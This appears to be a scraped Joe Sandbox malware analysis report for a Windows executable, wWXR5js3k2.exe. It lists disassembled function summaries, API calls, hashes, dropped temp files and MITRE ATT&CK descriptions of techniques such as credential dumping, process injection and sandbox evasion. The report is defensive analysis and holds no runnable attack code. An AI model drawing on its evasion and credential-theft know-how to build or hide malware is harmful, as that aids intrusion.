Opcode Fuzzy Hash: 48b233d9a7426c755f2aa886dd769fb588390f7df81cc6b9630dd98d28beda23
Instruction Fuzzy Hash: F1015B71801118AFDB90AF54DC91ED977ADEB15340F80C0AAB64996151DE314E89CF94

Function 006AC4EB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 006AC534

Part of subcall function 006AC816: _memmove.LIBCMT ref: 006AC860
Part of subcall function 006AC816: VariantInit.OLEAUT32(00000000), ref: 006AC882
Part of subcall function 006AC816: VariantCopy.OLEAUT32(00000000,?), ref: 006AC88C

VariantClear.OLEAUT32(?), ref: 006AC556

Strings

d}p, xrefs: 006AC517

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: Variant$Init$ClearCopy_memmove
String ID: d}p
API String ID: 2932060187-2047593577
Opcode ID: 3ce53d165323b04d2cdbfd234b503601f65e7500c09068b23cae95d2dd023d41
Instruction ID: 7311af2760430a6fc795ca3a43783c6c7bc5961f493c396e33cc5367813a9a8b
Opcode Fuzzy Hash: 3ce53d165323b04d2cdbfd234b503601f65e7500c09068b23cae95d2dd023d41
Instruction Fuzzy Hash: 37110C719007089FC710DFAAD88489AF7F8FF08310B50862FE58AD7651E771AA48CFA4

Function 006A953C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 35windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001004,00000000,00000000), ref: 006A954C
SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 006A9564

Strings

@U=u, xrefs: 006A954C, 006A9564

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: MessageSend
String ID: @U=u
API String ID: 3850602802-2594219639
Opcode ID: 79c9c682826fa668cc9c30146b609ad9020ea543123e65361e0a4570594c81bd
Instruction ID: 21ec5c7b84466805756301d64268c1e1f96c58e3bb521d0980c58263f936e019
Opcode Fuzzy Hash: 79c9c682826fa668cc9c30146b609ad9020ea543123e65361e0a4570594c81bd
Instruction Fuzzy Hash: 3AE02B35F4235176F23126258C4BFD71F0BDB8BB61F208035B702991D1C9D24D428AB0

Function 006B4F28 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 29COMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000100), ref: 006B4F46
_wcscmp.LIBCMT ref: 006B4F58

Strings

#32770, xrefs: 006B4F52

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: ClassName_wcscmp
String ID: #32770
API String ID: 2292705959-463685578
Opcode ID: b647503e6e042de51781fd1119a85ed4909f647ba474854e4d93fa74304ca2cd
Instruction ID: b2fb174bd0f6e437826875cf41be598627ebabc6fa470f24b730039e782ce1bb
Opcode Fuzzy Hash: b647503e6e042de51781fd1119a85ed4909f647ba474854e4d93fa74304ca2cd
Instruction Fuzzy Hash: 8BE02272A002282AE3209B99AC09BE7FBACEB84B60F00002BFC04D3181D9709A5187E4

Function 0068B2C1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 0068B314: _memset.LIBCMT ref: 0068B321

Part of subcall function 00670940: InitializeCriticalSectionAndSpinCount.KERNEL32(?,00000000,?,0068B2F0,?,?,?,0065100A), ref: 00670945

IsDebuggerPresent.KERNEL32(?,?,?,0065100A), ref: 0068B2F4
OutputDebugStringW.KERNEL32(ERROR : Unable to initialize critical section in CAtlBaseModule,?,?,?,0065100A), ref: 0068B303

Strings

ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 0068B2FE

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: CountCriticalDebugDebuggerInitializeOutputPresentSectionSpinString_memset
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
API String ID: 3158253471-631824599
Opcode ID: 334da24efc802147e95e3a87e0af9e090656dcbcfd73bc128a2f9d4b9bb4fa3e
Instruction ID: 11a018b10f74ea612a74c51cec1e74686e269a1cf7d59ceee934a4f09b4a3d5d
Opcode Fuzzy Hash: 334da24efc802147e95e3a87e0af9e090656dcbcfd73bc128a2f9d4b9bb4fa3e
Instruction Fuzzy Hash: AEE06DB0600702CBE760AF28D8043427BE6BF04304F059A2DE856C7290E7B4D448CBA1

Function 00691935 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?), ref: 00691775

Part of subcall function 006CBFF0: LoadLibraryA.KERNEL32(kernel32.dll,?,0069195E,?), ref: 006CBFFE
Part of subcall function 006CBFF0: GetProcAddress.KERNEL32(00000000,GetSystemWow64DirectoryW), ref: 006CC010

FreeLibrary.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000104), ref: 0069196D

Strings

WIN_XPe, xrefs: 00691788

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: Library$AddressDirectoryFreeLoadProcSystem
String ID: WIN_XPe
API String ID: 582185067-3257408948
Opcode ID: 703e8976f07d3c0af1bb3e1602a3e9f2fae8d2b3dbb5c669ec02abfd590a8cde
Instruction ID: 26696a7777a949c6f6e050a5dccbf2079959dbe1ba08bff71e244134c105831b
Opcode Fuzzy Hash: 703e8976f07d3c0af1bb3e1602a3e9f2fae8d2b3dbb5c669ec02abfd590a8cde
Instruction Fuzzy Hash: A7F0C97080110ADFDF15DB95C984AECBBFEEB09301F64109AE112AA590D7754F85DF64

Function 006D5964 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON

Download Yara Rule

APIs

FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 006D596E
PostMessageW.USER32(00000000,00000111,00000197,00000000), ref: 006D5981

Part of subcall function 006B5244: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 006B52BC

Strings

Shell_TrayWnd, xrefs: 006D5967

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: FindMessagePostSleepWindow
String ID: Shell_TrayWnd
API String ID: 529655941-2988720461
Opcode ID: 28898d48f25f73d09cc2c72433af89364f5d27bd1f590245d2fa66cdf56f43c2
Instruction ID: 27e9b4030ebaf0a699ef9284a2ecbebaccb3481acd841bbf9601473cafa92951
Opcode Fuzzy Hash: 28898d48f25f73d09cc2c72433af89364f5d27bd1f590245d2fa66cdf56f43c2
Instruction Fuzzy Hash: 99D0C975785311B6EBA4BB70AC1BFD66A56AB10B50F04192AB34AAA1D0C9E49800C658

Function 006D5998 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON

Download Yara Rule

APIs

FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 006D59AE
PostMessageW.USER32(00000000), ref: 006D59B5

Part of subcall function 006B5244: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 006B52BC

Strings

Shell_TrayWnd, xrefs: 006D59A7

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: FindMessagePostSleepWindow
String ID: Shell_TrayWnd
API String ID: 529655941-2988720461
Opcode ID: 914e3a794410a4aa8cfe54e58c80ba36ba878fff0500f539659896b421243f24
Instruction ID: fbb26d8d97b5b0180dfbd4a95fd196c202f397aabdf0d94d428359c607df14a8
Opcode Fuzzy Hash: 914e3a794410a4aa8cfe54e58c80ba36ba878fff0500f539659896b421243f24
Instruction Fuzzy Hash: 01D0C971782311BAEBA4BB70AC0BFD66656AB14B50F04192AB346EA1D0C9E4A800C658

Function 006A93DD Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000101F,00000000,00000000), ref: 006A93E9
SendMessageW.USER32(00000000,00001200,00000000,00000000), ref: 006A93F7

Strings

@U=u, xrefs: 006A93E9, 006A93F7

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: MessageSend
String ID: @U=u
API String ID: 3850602802-2594219639
Opcode ID: f85d346602e754441b391828d66f982930cec315e1ff2fac421241d32af4a418
Instruction ID: 7819d8f956c08c9c5b5d66b47f0046121c0e3428924c848a3be66a2b927eeb29
Opcode Fuzzy Hash: f85d346602e754441b391828d66f982930cec315e1ff2fac421241d32af4a418
Instruction Fuzzy Hash: 03C002315421C0BAEB211B77AC0DD873E3EE7CBF52711516DB212954B586654095D624

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report wWXR5js3k2.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\320lF200

C:\Users\user\AppData\Local\Temp\aut2D31.tmp

C:\Users\user\AppData\Local\Temp\aut2DFD.tmp

C:\Users\user\AppData\Local\Temp\caulds

C:\Users\user\AppData\Local\Temp\piceworth

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Windows Analysis Report
wWXR5js3k2.exe

Function 00653B3A Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 153
windowCOMMON

Function 006549A0 Relevance: 10.7, APIs: 7, Instructions: 223
COMMON

Function 00654E89 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 62
COMMON

Function 006B9155 Relevance: 19.8, APIs: 13, Instructions: 322
fileCOMMON

Function 0065708B Relevance: 19.5, APIs: 6, Strings: 5, Instructions: 201
registryCOMMON

Function 00653015 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 72
windowregistryCOMMON

Function 00653041 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 54
windowregistryCOMMON

Function 00653633 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 151
windowtimeregistryCOMMON

Function 00653A46 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 71
windowregistryCOMMON

Function 00653766 Relevance: 16.0, APIs: 1, Strings: 8, Instructions: 267
COMMON

Function 0065F76F Relevance: 14.2, APIs: 3, Strings: 5, Instructions: 168
comCOMMON

Function 032D25B0 Relevance: 10.7, APIs: 7, Instructions: 239
fileCOMMON

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre